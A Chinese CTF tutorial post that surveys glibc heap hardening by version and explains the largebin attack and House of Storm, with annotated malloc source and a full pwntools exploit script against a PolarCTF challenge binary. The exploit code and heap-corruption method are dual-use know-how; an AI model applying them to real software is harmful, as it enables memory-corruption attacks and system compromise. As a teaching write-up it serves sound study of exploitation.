各版本glibc的保护手段(从2.23开始只关注重要变化)
这里先简单说一下各个glibc版本的变化,如果没说到的各位师傅可以补充
首先是2.24开了虚表保护,house of orange需要变化才能利用了
然后是2.26有tcache机制
2.27把abort函数中的fflush函数删了,完整的house of orange就此落幕
2.28在tcache里加了key字段防止tcache double free
2.29在unsortedbin里加了检测,unsortedbin落幕
2.30在largebin里加了检测,largebin attack只能写一个地址了
2.32加了safe linking机制,修改fd和bk指针需要有堆地址了
2.35则把hook函数移除了,之后堆的主要攻击就转向IO方向了。
Largebin attack
2.31前的攻击
顾名思义就是利用largebin来进行攻击,这里我贴一下源码(2.31之前),以下注释来自浅析Large_bins_attack在高低版本的利用- while((unsigned long)size < fwd->size){
- fwd = fwd->fd_nextsize;
- assert ((fwd->size & NON_MAIN_ARENA) == 0);
- } //这里检测的是从unsorted_bins里提取出的堆块是否小于large_bins里最近被释放的堆块的大小,如果小于,就将fwd向前移,也就是与比它更小的堆块对比
- if ((unsigned long) size == (unsigned long) fwd->size)
- /* Always insert in the second position. */
- fwd = fwd->fd;//相等的话,就往后排列
- else
- {
- victim->fd_nextsize = fwd; //这里,victim是从unsorted_bin提取出来的堆块,fwd是最近被释放进large_bin的堆块,分别对应我们的p3,p2
- victim->bk_nextsize = fwd->bk_nextsize; //在此前,p2->bk_nextsize已经被我们设置为了stack_var2-0x20的地址,所以p3的bk_nextsize指向它
- fwd->bk_nextsize = victim; //p2->bk_nextsize指向p3
- victim->bk_nextsize->fd_nextsize = victim; //p3->bk_nextsize = stack_var2 - 0x20,也就是说我们已经伪造了一个堆块,(stack_var2-0x20)->fd_nexitsize就是stack_var2的地址,将该地址赋值p3的头指针
- }
- bck = fwd->bk; //p2的bk我们设置成了stack_var1-0x10,所以bck成了我们stack_var1-0x10这个虚假的chunk
复制代码 这个主要是什么意思呢,就是当unsortedbin的堆块要进入largebin中时,先检测其大小,我们利用的话一般要让进入largebin的堆块大于原有largebin中的堆块,这样就可以进下面这个else分支。因为我们攻击主要是利用这个else分支,我们单独取出来看看(也可以配合注释来看)- [...]
- else
- {
- victim->fd_nextsize = fwd;
- victim->bk_nextsize = fwd->bk_nextsize;
- fwd->bk_nextsize = victim;
- victim->bk_nextsize->fd_nextsize = victim;#第一个任意写的地方
- }
- bck = fwd->bk;
- [...]
- mark_bin (av, victim_index);
- victim->bk = bck;#第二个任意写的地方
- victim->fd = fwd;
- fwd->bk = victim;
- bck->fd = victim;
- For more details on how large-bins are handled and sorted by ptmalloc,
- please check the Background section in the aforementioned link.
复制代码 其实很简单,就是取值,把原堆块结构体里的指针指向新来的堆块,那我们是如何去进行攻击的呢?通过各种手段(uaf,堆溢出)修改已经在largebin的指针,伪造出堆块,修改已经在largebin的堆块的bk,bk_nextsize,把bk修改成目标地址-0x10,把bk_nextsize修改成目标地址-0x20(为什么修改这两个?因为largebin是头插法,所以我们下一个堆块进来时bk指针会改变,因为largebin是从大到小排列,我们进来的堆块比原来的大,所以bk_nextsize的值会变化)修改后就相当于又伪造出了两个堆块(因为没有对此进行检测,所以系统就以为这里有两个堆块,也就有了我们后面的攻击大概就是如图所示),改前:
改后:
这时候我们又有一个堆块想进入largebin,那么因为是头差法,就要找出来这个链表的头,也就是一个个bk遍历过去,在这里也就是这个堆块1(正中间的堆)的bk指针指向的堆块是头,这个堆块的bk指针就要指向新来堆块的堆地址,也就是把bk指针(目标地址-0x10)看成一个堆块的起始地址,我们要取他的bk指针就会对这个地址+0x10,然后就会把其中的值赋上新来堆块的地址;bk_nextsize同理,因为堆是从大到小排列,就要把整个链表的头找出来,也就是对bk_nextsize进行遍历,这个堆块1的bk_nextsize上面就是我们伪造的堆,他的bk_nextsize肯定是没有指向有效的值的,所以就会把堆块1的bk_nextsize指向的假堆看成是链表头,这时候就要取他的bk_nextsize(也就是为什么我们要把bk_nextsize写成目标地址-0x20)因为取头就要+0x20,最终效果如图。
看起来皆大欢喜,这个新来的堆成功进入了largebin的大家族,但其实其中两个家庭成员都是假的,我们的攻击也就此完成了。我们也在实际例子中试试看。来看例题
Polarctf-unk
这个题解法是unlink,不过我们目前不是演示这题怎么解的,只是演示一下unlink,这题有uaf漏洞,还有堆溢出漏洞,got表可写而且还没开pie,还是2.23版本的题,只能说是完美的沙包了。而且函数名也没剔除,感兴趣的话可以去这里下载PolarD&N
演示的脚本如下- #!/usr/bin/env python3
- from pwn import *
- import sys
- from ctypes import *
- #from pwncli import *
- # cli_script()
- #from ae64 import AE64
- #from pymao import *
- context.log_level='debug'
- context.arch='amd64'
- elf=ELF('./pwn')
- #libc = ELF('./libc.so.6')
- # libc1=cdll.LoadLibrary('./libc.so.6')
- li='./libc.so.6'
- flag = 0
- if flag:
- p = remote('1')
- else:
- p = process('./pwn')
- sa = lambda s,n : p.sendafter(s,n)
- sla = lambda s,n : p.sendlineafter(s,n)
- sl = lambda s : p.sendline(s)
- slr = lambda s : p.sendline(str(s))
- sd = lambda s : p.send(s)
- sdr = lambda s : p.send(str(s).encode())
- rc = lambda n : p.recv(n)
- ru = lambda s : p.recvuntil(s)
- ti = lambda : p.interactive()
- rcl = lambda : p.recvline()
- leak = lambda name,addr :log.success(name+"--->"+hex(addr))
- u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
- i6 = lambda a : int(a,16)
- def csu():
- pay=p64(0)+p64(0)+p64(1)
- return pay
- def ph(s):
- print(hex(s))
- def dbg():
- # context.terminal = ['tmux', 'splitw', '-h']
- gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
- pause()
- def add(s,a):
- ru(b"choice:")
- sdr(1)
- ru(b"index:")
- sdr(s)
- ru(b"size:")
- sdr(a)
- def free(s):
- ru(b"choice:")
- sdr(2)
- ru(b"index:")
- sdr(s)
- def edit(s,a,d):
- ru(b"choice:")
- sdr(3)
- ru(b"index:")
- sdr(s)
- ru(b"length:")
- sdr(a)
- ru(b"content:")
- sd(d)
- def show(s):
- ru(b"choice:")
- sdr(4)
- ru(b"index:")
- sdr(s)
- tar=0x6010C0+0x50
- add(0,0x300)#让其他堆能顺利进入largebin的堆
- add(5,0x20)#防合并的堆
- add(1,0x410)#先进largebin的堆
- add(6,0x20)#防合并的堆
- add(2,0x420)#后进largebin的堆
- add(3,0x20)#防合并的堆
- free(0)
- free(1)
- add(4,0x30)#让堆块1先进largebin
- free(2)#让堆块2进入unsortedbin
- pay=0x20*b'b'+flat(0,0x401,0,tar+8-0x10,0,tar-0x20)
- edit(5,0x70,pay)#修改堆块1的内容(bk,bk_nextsize)
- add(5,0x30)#让堆块2进入largebin,达成攻击
- dbg()
- ti()
复制代码 为什么要堆块0呢?因为unsortedbin的堆块需要在再次申请堆块,遍历后大小合适才会把其中的堆块放入largebin,所以我们就一直申请0x30大小的堆,让堆块0一直被切割,同时触发遍历,把堆块放进largebin。攻击前
攻击后
可以肯定我们成功在堆块链表0x6010C0+0x50的地方写了两个堆块地址,这个堆块地址就是刚进入largebin的堆块地址。
2.31后因为加了检测,所以只能通过bk_nextsize写一个堆块了
- else
- {
- victim->fd_nextsize = fwd;
- victim->bk_nextsize = fwd->bk_nextsize;
- if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) //以上面的p2为例的话,那就是检测stack_var2-0x20的fd_nextsize是否指向p2。是的话就报错
- malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
- fwd->bk_nextsize = victim;
- victim->bk_nextsize->fd_nextsize = victim;
- }
- bck = fwd->bk;
- if (bck->fd != fwd)// 同理,如果stack_var1-0x10的fd是否指向p2,是就报错
- malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
复制代码 House of storm
这个感觉名字很贴切,确实是storm,非常快速啊,通过一次申请改三个地址,并且直接申请到目标地址。主要利用手法就是先准备好一个unsortedbin中的堆块,再准备一个largebin中的堆块,修改largeQbin的bk,bk_nextsize分别是目标地址+8,目标地址-0x18-5,然后准备一个堆块大小小于largebin中的堆块,但能被放进largebin中的堆块。最后申请指定大小的堆就可以完成攻击了。因为在申请堆的时候在没有tcache时,先遍历unsortedbin,如果没有相同大小的堆就会把unsortedbin的堆放入对应的bin中,这时就会触发unsortedbinattack和largebinattack,这时我们就已经伪造出一个堆了(unsortedbin改的是bk指针,也就是下一个堆块的地址,当我们攻击完成后,这个堆块就符合要求可以申请了),具体的话就是用largebinattack伪造size位与bk指针,unsortedbin伪造fd指针,从而通过检测。具体我没有找到对应的题就不演示了,只能演示一下攻击效果,我这个没有开pie所以堆地址很小写不到size位
来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |